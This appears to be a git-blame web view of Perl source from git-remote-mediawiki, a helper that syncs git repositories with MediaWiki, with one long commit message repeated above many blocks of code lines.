chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
my $max_rev_num = 0;
|
|
|
|
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Getting last revision id on tracked pages...\n";
|
2012-07-16 21:46:41 +02:00
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
foreach my $page (@pages) {
|
|
|
|
my $id = $page->{pageid};
|
|
|
|
|
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
prop => 'revisions',
|
2011-09-27 19:54:59 +02:00
|
|
|
rvprop => 'ids|timestamp',
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
pageids => $id,
|
|
|
|
};
|
|
|
|
|
|
|
|
my $result = $mediawiki->api($query);
|
|
|
|
|
|
|
|
my $lastrev = pop(@{$result->{query}->{pages}->{$id}->{revisions}});
|
|
|
|
|
2011-09-27 19:54:59 +02:00
|
|
|
$basetimestamps{$lastrev->{revid}} = $lastrev->{timestamp};
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
$max_rev_num = ($lastrev->{revid} > $max_rev_num ? $lastrev->{revid} : $max_rev_num);
|
|
|
|
}
|
|
|
|
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Last remote revision found is $max_rev_num.\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
return $max_rev_num;
|
|
|
|
}
|
|
|
|
|
|
|
|
# Clean content before sending it to MediaWiki
|
|
|
|
sub mediawiki_clean {
|
|
|
|
my $string = shift;
|
|
|
|
my $page_created = shift;
|
|
|
|
# Mediawiki does not allow blank space at the end of a page and ends with a single \n.
|
|
|
|
# This function right trims a string and adds a \n at the end to follow this rule
|
|
|
|
$string =~ s/\s+$//;
|
2013-06-14 15:50:33 +02:00
|
|
|
if ($string eq EMPTY && $page_created) {
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
# Creating empty pages is forbidden.
|
|
|
|
$string = EMPTY_CONTENT;
|
|
|
|
}
|
|
|
|
return $string."\n";
|
|
|
|
}
|
|
|
|
|
|
|
|
# Filter applied on MediaWiki data before adding them to Git
|
|
|
|
sub mediawiki_smudge {
|
|
|
|
my $string = shift;
|
|
|
|
if ($string eq EMPTY_CONTENT) {
|
2013-06-14 15:50:33 +02:00
|
|
|
$string = EMPTY;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
# This \n is important. This is due to mediawiki's way to handle end of files.
|
2013-06-14 15:50:30 +02:00
|
|
|
return "${string}\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub literal_data {
|
|
|
|
my ($content) = @_;
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} 'data ', bytes::length($content), "\n", $content;
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
2012-06-27 16:21:29 +02:00
|
|
|
sub literal_data_raw {
|
|
|
|
# Output possibly binary content.
|
|
|
|
my ($content) = @_;
|
|
|
|
# Avoid confusion between size in bytes and in characters
|
|
|
|
utf8::downgrade($content);
|
2013-07-03 11:14:19 +02:00
|
|
|
binmode STDOUT, ':raw';
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} 'data ', bytes::length($content), "\n", $content;
|
2013-07-03 11:14:19 +02:00
|
|
|
binmode STDOUT, ':encoding(UTF-8)';
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
sub mw_capabilities {
|
|
|
|
# Revisions are imported to the private namespace
|
|
|
|
# refs/mediawiki/$remotename/ by the helper and fetched into
|
|
|
|
# refs/remotes/$remotename later by fetch.
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "refspec refs/heads/*:refs/mediawiki/${remotename}/*\n";
|
|
|
|
print {*STDOUT} "import\n";
|
|
|
|
print {*STDOUT} "list\n";
|
|
|
|
print {*STDOUT} "push\n";
|
2013-09-02 09:19:47 +02:00
|
|
|
if ($dumb_push) {
|
|
|
|
print {*STDOUT} "no-private-update\n";
|
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "\n";
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub mw_list {
|
|
|
|
# MediaWiki do not have branches, we consider one branch arbitrarily
|
|
|
|
# called master, and HEAD pointing to it.
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "? refs/heads/master\n";
|
|
|
|
print {*STDOUT} "\@refs/heads/master HEAD\n";
|
|
|
|
print {*STDOUT} "\n";
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub mw_option {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "remote-helper command 'option $_[0]' not yet implemented\n";
|
|
|
|
print {*STDOUT} "unsupported\n";
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
